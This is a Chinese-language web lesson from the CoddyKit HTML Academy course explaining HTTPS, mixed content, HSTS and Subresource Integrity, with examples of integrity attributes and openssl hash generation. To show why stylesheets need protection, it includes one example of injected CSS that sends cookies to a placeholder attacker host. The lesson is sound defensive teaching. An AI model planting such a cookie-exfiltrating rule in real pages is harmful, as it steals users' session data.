HTTPS 与子资源完整性
使用 integrity 属性验证外部资源的完整性
HTTPS 与子资源完整性 是 CoddyKit 上的免费 HTML Academy 课时。 这是第 4 节课,共 4 节。 你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。 这是 HTML Academy 学习路径的一部分,你的进度在网页和 CoddyKit 应用中同步。 HTML Academy 课程共包含 4 节课。
为何处处使用 HTTPS
HTTPS 会加密传输中的数据并验证服务器身份。没有 HTTPS 时,同一网络上的攻击者(咖啡馆 Wi-Fi、ISP、国家级行为者)可以读取每个字节,并将恶意内容注入响应。现代浏览器会将 HTTP 页面标记为“不安全”,许多接口(摄像头、地理位置、服务工作线程)也拒绝通过 HTTP 工作。
混合内容
从 HTTPS 页面加载 HTTP 资源就是混合内容。浏览器会直接阻止活动混合内容(脚本、内嵌框架、样式表),并对被动混合内容(图像)发出警告。请始终通过 HTTPS 加载每项资源;使用协议相对 URL(//cdn.example.com)或绝对 https:// URL。
HSTS
通过 Strict-Transport-Security 响应标头启用的 HTTP 严格传输安全,会告诉浏览器以后拒绝与您的域建立 HTTP 连接。HSTS 缓存后,即使攻击者处于中间人位置,也无法将用户降级到 HTTP。
为什么使用 SRI
从第三方 CDN 加载脚本很方便,但也存在风险——如果 CDN 被攻陷,攻击者可以将脚本替换为恶意软件。子资源完整性(SRI)会让浏览器在执行前验证文件的加密哈希值;如果哈希值不匹配,浏览器就会拒绝运行该文件。
integrity 属性
将经过 base64 编码的 SHA-256/384/512 哈希值添加到 script 标签中:<script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>。浏览器会计算下载文件的哈希值,如果不匹配,就拒绝运行该文件。
<link
rel="stylesheet"
href="https://cdn.example.com/styles.css"
integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh"
crossorigin="anonymous">生成哈希值
使用 openssl 生成哈希值:openssl dgst -sha384 -binary file.js | openssl base64 -A。也可以使用会自动生成 integrity 属性的构建工具插件。大多数 CDN(jsdelivr、unpkg)都会在其复制粘贴代码片段中显示 SRI 标签。
必须使用 crossorigin
SRI 要求跨源响应允许通过 CORS 进行完整性检查。请在标签中添加 crossorigin="anonymous",并确保 CDN 发送 Access-Control-Allow-Origin。如果没有该设置,浏览器会拒绝验证,资源也会加载失败。
多个哈希值
integrity 属性可以携带多个以空格分隔的哈希值。这在版本过渡期间很有用:同时列出旧版本和新版本的哈希值,浏览器会接受 CDN 提供的任一版本。请避免使用超过两个哈希值,以保持属性易读。
为样式表使用 SRI
SRI 也可以保护 <link rel="stylesheet">。被攻陷的 CSS 文件不如被攻陷的脚本那么直接危险,但注入的 background: url("//evil/log?cookie=...") 仍然可以窃取数据。在可能的情况下,请为每项外部资源应用 SRI。
自托管通常更优
SRI 可以缓解 CDN 被攻陷的问题,但无法解决所有问题:CDN 上的哈希值一旦改变,您的页面就会失效,直到您更新 integrity 属性。对于关键库,请自行托管经过审查的文件——一次性消除 SRI 固定和供应链风险。
性能
SRI 会为每项资源增加一次哈希计算——在现代硬件上开销可以忽略不计,每千字节只需几微秒。它对供应链攻击提供的防护远远超过这一成本。从 CDN 加载资源时,没有任何性能方面的理由跳过 SRI。
局限性
SRI 验证的是特定字节,不会防范 CDN 针对部分用户提供不同文件的情况(选择性攻击)。为了获得最大程度的保证,请将 SRI 与 HTTPS、HSTS、CSP 以及最关键资源的自托管结合使用。
知识检查
script 标签上的 integrity 属性可以防范什么?
总结
HTTPS 会加密并验证身份,HSTS 会阻止降级攻击,SRI 会验证第三方文件是否遭到篡改。请为您无法控制的 CDN 上的每个外部脚本和样式表添加完整性哈希(以及 crossorigin="anonymous")。对于最关键的资源,请改用自托管——彻底消除供应链风险。
常见问题解答
「HTTPS 与子资源完整性」课时是免费的吗?
是的 — 「HTTPS 与子资源完整性」的完整文本可在网页上免费阅读。要进行交互式练习(内置代码编辑器和全天候 AI 导师)并解锁 HTML Academy 课程的其余内容,请升级到 CoddyKit PRO。 HTML Academy 课程共包含 4 节课。
「HTTPS 与子资源完整性」这节课中我会学到什么?
使用 integrity 属性验证外部资源的完整性 你通过在浏览器中直接运行的动手代码来练习 HTML Academy,全天候 AI 导师会在你学习这节课的过程中回答你的问题。
学习 HTML Academy 需要有经验吗?
无需任何先前经验。CoddyKit 上的 HTML Academy 课程适合初学者到高级学习者,你可以从这里开始或从头开始,按照自己的节奏学习。 这是第 4 节课,共 4 节。
「HTTPS 与子资源完整性」课时需要多长时间?
大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动,所以你能稳步进步,并在网页和应用中从离开的地方继续。
我能在这节 HTML Academy 课中编写并运行代码吗?
能。每节 HTML Academy 课都包含内置代码编辑器,你可以在浏览器中直接编写并运行真实代码,并获得即时 AI 反馈 — 无需本地设置。